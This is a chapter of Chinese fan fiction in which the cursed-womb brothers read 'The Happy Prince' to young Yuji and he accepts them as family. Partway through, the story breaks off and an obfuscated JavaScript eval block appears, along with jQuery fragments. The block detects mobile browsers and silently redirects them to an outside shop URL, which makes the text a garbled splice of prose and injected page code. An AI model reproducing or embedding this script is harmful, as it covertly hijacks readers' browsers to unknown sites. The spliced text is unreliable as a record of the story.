30.快乐王子二

作品:《空座町的虎杖君

    命运仿佛在这一刻发生了改变,一切都在朝着三兄弟从未设想过的美好的未来疾驰。


    他们与弟弟第一次在社会面前作为“家人”站在一起,而当晚,虎杖悠仁又给了他们一个礼物。


    那时,【胀相】像往常一样端着牛奶上楼。


    “咚,咚。”


    “请进!”


    【胀相】推开门,温暖的橙光从房间里溢出来,像海边泛着白沫的浪轻轻拍打着他的脚踝。他走进那片温暖的海洋,将牛奶放在悠仁手边,转身要走。


    “胀相哥哥。”


    【胀相】微微一震。他回过头,看见孩子正仰头看他,棕色的眼睛里流淌着暖意。


    “悠仁今天,好开心。”


    ……


    他叫我哥哥了!!


    【胀相】脑海里那个小人脸埋在手心尖叫,现实中的他却绷紧脸线,硬生生把嘴角压下去。


    “嗯。”


    他回了一个尽量平静的“嗯”。


    悠仁跳下椅子,小跑着来到他面前,眼睛亮晶晶地看着他:“你不问悠仁为什么开心吗?”


    “……为什么?”


    【胀相】紧张得大脑一片空白,只会机械地重复弟弟的发问。


    孩子露出一个大大的笑容,脆声道:“因为你们来参加悠仁的亲子日啊!”


    “那是当然的。”【胀相】下意识回道,“我们可是你的哥哥。”


    说完这句话的时候,他停顿了一下,好像突然发现自己这个语气听上去太理所当然了,像是他默认了什么。


    一丝忐忑却包围住胀相——悠仁,也是这样想的吗?


    “没错,你们是我的哥哥。”孩子如是道。


    他说得轻巧,却像是为这段关系盖上了一枚真正的章。


    【胀相】微妙的不安被抚平了。


    他呼出一口气,轻轻抿了下唇,咒灵野兽般冰冷的瞳孔中流露出一丝柔软的笑意。他端起杯子转身离开,脚步刚动,背后却又响起孩子的声音——


    “胀相,你能给我讲故事吗?”


    【胀相】缓缓回头,看见悠仁正抱着一本绘本站在那儿,像是在鼓起极大的勇气提出一个请求。


    那本一护送的《快乐王子》还是崭新的,封面带着亮片的折光。悠仁从没有拿出来过。


    因为他知道,没有人会为他讲这个故事。


    【胀相】一时没有反应过来。他从未见过这样的场面——书、床、孩子仰起的脸。他甚至不知道“睡前讲故事”意味着什么。


    ——我该怎么做?


    ——这种事由我来,真的好吗?


    ——我能讲好故事吗?


    巨大的恐慌袭击了他,他的内心像一只遇到风暴的船剧烈摇晃。


    他试图张嘴,说出拒绝或逃避的话语。


    但悠仁迈了一步,牵起他的手把他带到床边,然后跳上床,卷进被窝,抱着那本书等着他。


    房间安静下来。


    悠仁两只紧紧抓着绘本,心脏扑通扑通的跳着。


    胀相会答应吗?


    ——他会像别人的爸爸一样,在睡前陪我一会儿吗?


    ——他会像别人的妈妈那样,念一页故事给我听吗?


    ——我能像别的孩子那样,拥有一次听故事的机会吗?


    【胀相】低头看着那双藏在被子里的手,紧紧握着书页的边角,他忽然意识到,悠仁和他一样也在忐忑不安,他们都在等待答案——


    等对方先开口。


    于是,没有丝毫犹豫,他开口了:


    “悠仁……哥哥……也是第一次做你的哥哥。”


    他努力不让自己的声音听起来太颤:


    “所以……如果讲得不好——请,不要讨厌哥哥。”


    他低着头,手心冒汗,小心翼翼地问出了这句话。


    床上传来细细索索的声音,一个小小的身影从被窝里探出来,扑进了他怀里。


    “好的。”


    世界线完成了收束。


    .


    走廊里传来轻微的脚步声,【坏相】和【血涂】站在门口,像是听了很久,迟迟没有进来。


    “坏相,血涂,你们也来听故事吧!”悠仁在床上拍了拍身侧,像是在召唤。


    两兄弟僵了一下,随后推门走进来。


    床头的灯“啪”一声亮起,三兄弟围坐在柔黄的灯光下。


    【胀相】翻开绘本,手指在粗糙的纸张上摩挲,轻轻读出了第一页的文字——


    .


    “在一个城镇的广场上,矗立着一座漂亮的王子雕像。王子的身体上镀着闪闪发光的金子。眼睛镶着蓝宝石、佩剑镶的是红宝石。城里的人们把他叫做‘快乐王子’,并引以为傲……”


    他读得不算流畅,声音低低的,像是怕读错字,又像在强迫自己理解故事。


    .


    “深秋时节,广场上来了一只燕子……”


    .


    读了几页后,【胀相】忍不住皱眉,停下手里的动作:“王子为什么要把自己的红宝石送给那个毫不相关的人类?他们甚至不认识!”


    “可是男孩生病了啊。”悠仁软软地说。他小手拽着胀相衣角,像是怕他逃走,“如果是悠仁,一定会帮他的。”


    这句话他说得很轻,却异常坚定。


    他的语气理所当然,好像救人于他而言是天生该做的事情。


    【胀相】顿了顿。他知道悠仁就是这样的人,明明他那么年幼,那么脆弱,却总是把别人放在前面,想要全世界都能微笑,所有人都感受到温暖。也正是因为这点,他身边的人才愿意靠近他、保护他。


    就像他自己——哪怕一开始是为了血缘的本能,但现在,他不想让这个孩子受伤分毫。


    “……接着呢?”【血涂】催促道。


    【胀相】收回思绪,继续翻页。


    .


    “……燕子回到了王子那里。‘王子殿下,您的眼睛什么也看不见了呀,可是从今以后我会一直不离你的左右,我要把城里的事情讲给您听。’‘那可不行啊,因为你在寒冷的地方会冻死的。’…… ”


    .


    【胀相】越读眉头皱的越紧,试图把难以名状的情绪咽下去。


    他们为什么要做到这一步?


    “然后呢?小燕子走了吗?”没听过这个故事的【血涂】急切地问。


    .


    ——“不,我已经下了决心了。”


    .


    “不久,冬天到了,下起了大雪…… ‘我已经没有力气飞了,就这样呆在王子殿下的身边了。’燕子终于被雪埋住了。”


    “这时城里的官吏们正巧路过这里……他们把王子和燕子扔到了垃圾场上。”


    .


    【胀相】啪地合上绘本,像是读不下去了。


    “果然,人类的故事都很奇怪。”


    【坏相】轻声:“也许……他们是想要表达温柔?”


    “温柔?”【胀相】嗤笑,“那个王子和他的燕子什么都没得到,最后甚至被丢弃。”


    “可他们在一起呀。”悠仁轻声说。


    所有人都看向他。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611633|186396||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    孩子抱着枕头,小小的脑袋靠着墙,蜜糖色的眼睛看着他们,声音温软:“小燕子一直陪着王子,他们没有分开。而且——帮助了别人,不是很好吗?”


    屋内陷入短暂的静默。


    【胀相】没有回应,他低头看着自己空着的手掌,那本绘本已经安静地躺在一旁。他不喜欢这个故事的逻辑,却没办法不在意弟弟眼中的那份信念——哪怕带着牺牲意味,哪怕他根本无法理解。


    他只是突然意识到一件事。


    从一开始,他们就和弟弟不一样。


    他们不是人类。也不是咒灵。即使是那种被冠以“特别咒胎”的存在,也无法真正定义他们。


    而弟弟,是个标准得不能再标准的——人类。


    但他却说,他们是“哥哥”。


    【胀相】慢慢抬起头,看向悠仁,又看了一眼坐在另一侧的【血涂】。


    ——青蓝色的皮肤、臃肿的四肢、两张嘴,满是血腥气味的呼吸。


    这样的存在,所有见到他们的咒术师都只有一种反应——恐惧、厌恶、立刻拔刀。


    可他们来到空座町后,去过街道、郊外、幼稚园……却没有一个人类投来惊恐的眼神。


    明明他们的外貌依旧是那样,明明自己也看得到……


    为什么?


    “……为什么,那些人类看到我们,没有反应?”【胀相】喃喃道。


    他的问题太突兀,连正在思考故事结尾的【坏相】都愣住了。


    “对对啊!”【血涂】突然惊醒般地附和,“我以为他们会怕我呢!咒术师都说我长得丑……”


    他扑到悠仁身边,像是抓住救命稻草一样问:


    “呐呐,悠仁,在你眼中,我们到底是什么样的?”


    屋内一时静了。


    悠仁眨了眨眼。他沉默了一会儿,像是在认真思考,又像早就有了答案,只是想选一个最贴近内心的说法。


    孩子眼前映出的是名叫咒灵的怪物:


    一只怪物,浑身青蓝、肿胀、扭曲,血液沿着牙齿和嘴角淌出,在地上落出小小的深红点。


    一只怪物,没有眼白,紫色的瞳孔和野兽一样,白色的睫毛像是某种细小的虫翅。


    一只怪物,血液凝固的痕迹像伤疤横穿脸庞,苍白宽大的手掌可以轻松拧断头颅,红色的血线在身边飞舞。


    .


    “就是……哥哥的模样。”


    .


    他的嘴角慢慢弯起,露出一个干净的笑容。


    虎杖倭助为什么会放任他们进家?有泽龙贵、黑崎一护还有他们的父母为什么面不改色地与三兄弟相处?


    孩子很早就意识到,别人眼中的三兄弟可能和自己不一样。


    是的,虎杖悠仁从一开始就知道他们不是人类,知道他们怪异、恐怖、和“家人”这两个字差得太远。


    可他从来没有因此后退。


    是守护,让孩子学会依赖;是爱意,让他自愿呼唤。


    他们的模样,就是他心中“家”的模样。


    所以,他眼中的三兄弟,


    可能,从一开始就不一样吧。


    .


    悠仁今天很高兴,无人会为他讲述的故事终于有人翻开。这一刻,虎杖悠仁没有再想起爸爸妈妈了。


    因为,本该由父母完成的责任,如今有人承担起了它的重量。


    他靠着枕头,手还抓着【胀相】的衣角,眼睛一点点合上。


    ——


    “就这样,王子和那只小燕子的灵魂跟着天使升上了天堂。”